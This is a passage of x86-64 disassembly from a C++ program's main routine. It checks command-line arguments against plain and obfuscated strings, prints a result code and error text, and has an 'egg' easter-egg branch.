mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195a82f
mov eax, 1
jmp 0x23195a834
mov eax, 0
test al, al
je 0x23195a971
lea rax, [rbp + 0x457f]
mov rcx, rax
call fcn.2319dc540
mov rax, qword [rbp + 0x46f8]
add rax, 0x18
mov rdx, qword [rax]
lea rcx, [rbp + 0x457f]
lea rax, [rbp + 0x4550]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x45af]
mov rcx, rax
call fcn.2319dc540
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x45af]
lea rax, [rbp + 0x4580]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x4550]
lea rax, [rbp + 0x4580]
mov rcx, rax
call sym.f_dwc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov dword [rbp + 0x4670], eax
lea rax, [rbp + 0x4580]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x45af]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x4550]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x457f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov eax, dword [rbp + 0x4670]
mov edx, eax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x4670]
lea rax, [rbp + 0x45b0]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x45b0]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x45b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x4670]
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 1
jle 0x23195a9b5
lea rax, [rbp + 0x45d5]
mov rcx, rax
call method.main.lambda__212::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__17829156310495070669ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195a9b5
mov eax, 1
jmp 0x23195a9ba
mov eax, 0
test al, al
je 0x23195a9c8
mov ebx, 0
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 1
jle 0x23195aa34
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
lea rdx, str._egg
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195aa34
lea rax, [rbp + 0x45d6]
mov rcx, rax
call method.main.lambda__213::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_31ull__15406761067589923839ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 0
jmp 0x23195aa74
lea rax, [rbp + 0x45d7]
mov rcx, rax
call method.main.lambda__214::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_2ull__5297681241514529159ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
call sym.abort
mov eax, ebx
jmp 0x23195d07c
add rsp, 0x4758
pop rbx
pop rbp
ret